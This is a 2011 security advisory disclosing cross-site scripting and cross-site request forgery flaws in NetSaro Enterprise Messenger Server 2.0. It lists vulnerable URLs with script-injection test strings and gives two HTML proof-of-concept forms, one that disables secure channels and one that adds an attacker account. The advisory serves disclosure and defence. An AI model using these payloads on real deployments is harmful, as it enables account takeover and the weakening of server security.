NetSaro Enterprise Manager 2.0 Cross Site Request Forgery / Cross Site Scripting

`===================================================  
Secur-I Research Group Security Advisory [ SV-2011-004]  
===================================================  
Title: NetSaro Enterprise Messenger v2.0 Multiple Vulnerabilities  
Product: Enterprise Messenger Server  
Vulnerable version: 2.0 (Other versions could also be affected)  
Fixed version: N/A  
Impact: Medium  
Homepage: http://netsaro.com/Downloads.aspx  
Vulnerability ID: SV-2011-004  
Found: 2011-08-26  
By: Narendra Shinde  
Secur-I Research Group  
http://securview.com/  
===================================================  
  
Vendor description:  
---------------------------  
NetSaro enables you to create a private and secure instant messaging network, based on client-server architecture. You can send and receive Message, Voice Message, File or Screenshot or start multi-user Chat Sessions. System access requires a valid User Name and Password. You may want to log messages between your users for auditing purposes. Client user interface integrates smoothly into the desktop.  
  
Source: http://netsaro.com/  
  
Vulnerability Information:  
-----------------------------------  
  
1) Multiple Cross Site Scripting vulnerabilities  
  
Vulnerability Information:  
-------------------------------------  
Class: Improper Neutralization of Input during Web Page Generation ('Cross-site Scripting') [CWE-79]  
Impact: Insertion and Execution of malicious scripts in user browser  
Remotely Exploitable: Yes  
Authentication Required: Yes  
User interaction Required : Yes  
  
  
Vulnerability overview/description:  
-------------------------------------------------  
NetSaro Enterprise Messenger Server v2.0 is prone to multiple cross-site scripting vulnerabilities as the user-supplied input received via certain parameters is not properly sanitized. This can be exploited by submitting specially crafted input to the affected software. Successful exploitation could allow the attacker to execute arbitrary script code within the user's browser session in the security context of the targeted site. The attacker could gain access to user's cookies (including authentication cookies), if any, associated with the targeted site, access recently submitted data by the target user via web forms, or take actions on the site masquerading as the target user.  
  
  
a) Non –Persistent Cross Site Scripting  
  
URL: http://VulnAppIP:4990/login.nsp  
Vulnerable Parameter : User Name  
Demo string used: "></script><script>alert("XSS")</script>  
  
URL : http://VulnAppIP:4990/user-search.nsp  
Vulnerable Parameter : Search box  
Test string used : "><script>alert("XSS")</script>  
  
URL : http://VulnerableAppIP:4990/license-add.nsp  
Vulnerable parameters : Company , Quantity  
Test string : “><script>alert(“XSS”)</script>  
  
URL: http://VulnAppIP:4990/archive-announcement.nsp?FromUser= "><script>alert("xss")</script>  
URL: http://VulnAppIP:4990/archive-message.nsp?FromUsers= "><script>alert("xss")</script>  
  
  
b) Persistent Cross Site Scripting  
  
URL : http://VulnerableAppIP:4990/department-add.nsp  
Vulnerable Parameters: Name , Description  
Test string used: “><img src=0 onerror=alert(0)>  
  
URL: http://VulnerableAppIP:4990/user-add.nsp  
Vulnerable Parameters: User Name, First Name , Last name , Job Title ,Email  
Test string used: "><script>alert("XSS")</script>  
  
URL: http://VulnerableAppIP:4990/department-add.nsp  
Vulnerable Parameter : Name , Description  
Test string : “><script>alert(“XSS”)</script>  
  
Workaround:  
-----------------  
Proper checks on all user input.  
For more details please refer:  
https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet  
  
  
2) Multiple CSRF vulnerabilities  
  
Vulnerability Information:  
------------------------------------  
Class: Cross-Site Request Forgery (CSRF) [CWE-352]  
Impact: Unintentional changes in application.  
Remotely Exploitable: Yes  
Authentication Required: No  
User interaction Required : Yes  
CVE Name: N/A  
  
Vulnerability overview/description:  
--------------------------------------------------  
The NetSaro Enterprise Messenger Server Administration Console application is vulnerable to cross-site request forgery, caused by improper validation of user supplied input by Messenger Server Administration Console. By persuading an authenticated user to visit a malicious website a remote attacker could send a malformed HTTP to edit applications settings.  
  
The following URL's are found to be vulnerable :  
  
http://VulnerableAppIP:4990/server-security.nsp  
http://VulnerableAppIP:4990/server-login.nsp  
http://VulnerableAppIP:4990/server-offline.nsp  
http://VulnerableAppIP:4990/server-archive.nsp  
http://VulnerableAppIP:4990/server-properties.nsp?server=webadmin  
http://VulnerableAppIP:4990/server-properties.nsp?server=webadmin_ssl  
http://VulnerableAppIP:4990/server-properties.nsp?server=messenger  
http://VulnerableAppIP:4990/server-properties.nsp?server=messenger_ssl  
http://VulnerableAppIP:4990/server-properties.nsp?server=gateway  
http://VulnerableAppIP:4990/server-properties.nsp?server=gateway_ssl  
http://VulnerableAppIP:4990/server-edit.nsp?server=webadmin  
http://VulnerableAppIP:4990/server-edit.nsp?server=webadmin_ssl  
http://VulnerableAppIP:4990/server-edit.nsp?server=messenger  
http://VulnerableAppIP:4990/server-edit.nsp?server=messenger_ssl  
http://VulnerableAppIP:4990/server-edit.nsp?server=gateway  
http://VulnerableAppIP:4990/server-edit.nsp?server=gateway_ssl  
http://VulnerableAppIP:4990/user-add.nsp  
http://VulnerableAppIP:4990/department-add.nsp  
http://VulnerableAppIP:4990/connection-sendannouncement.nsp  
  
  
Proof of Code(POC) 1 :  
  
To send Messenger, Gateway and Web administration connections on Unsecured channel.  
  
<html>  
<body>  
<form action="http://VulnerableAppIP:4990/server-security.nsp" method="post">  
<input id="rb101" name="secureWebAdmin" type="hidden" value="false" checked>  
<input id="rb202" name="secureMessenger" type="hidden" value="false" checked>  
<input id="rb302" name="secureGateway" type="hidden" value="false" checked>  
<input type="hidden" name="postback" value="postback">  
<input type="submit" name="save" value="Click ME :D">  
</form>  
</body>  
</html>  
  
  
Proof of Code(POC) 2:  
To add user in application.  
  
<html>  
<body>  
<form action="http://VulnerableAppIP:4990/user-add.nsp" method="post">  
<input name="username" type="hidden" value="ATTACK">  
<input name="firstname" type="hidden" value="ATTACK"></td>  
<input name="lastname" type="hidden" value="ATTACK"></td>  
<input type="hidden" name="department" type="hidden" value="_Default">  
<input name="jobtitle" type="hidden" value="ATTACKER"></td>  
<input name="email" type="hidden" value="[email protected]">  
<input type="hidden" name="authentication"value="database">  
<input name="password" type="hidden" value="PASS"></td>  
<input name="passwordConfirm" type="hidden" value="PASS"></td>  
<imput name="account" id="account" value="Enabled">  
<input type="hidden" name="postback" value="postback">  
<input name="add" type="submit" id="add" value="Click Me :D">  
</form>  
</body>  
</html>  
  
  
Workaround:  
------------------  
For more details please refer:  
https://www.owasp.org/index.php/Cross- Site_Request_Forgery_%28CSRF%29_Prevention_Cheat_Sheet  
  
Timeline:  
---------  
Vulnerability Found : 2011-08-28  
Reported to Vendor : 2011-08-30  
Confirmation from vendor : NO REPLY  
Public Disclosure : 2011-08-31  
  
  
  
Thanks & Regards,  
Narendra.  
  
Confidentiality: This e-mail and any attachments may be confidential and may also be privileged. If you are not an intended named recipient, please notify the sender immediately and do not disclose the contents to another person use it for any purpose, or store or copy the information in any medium.  
`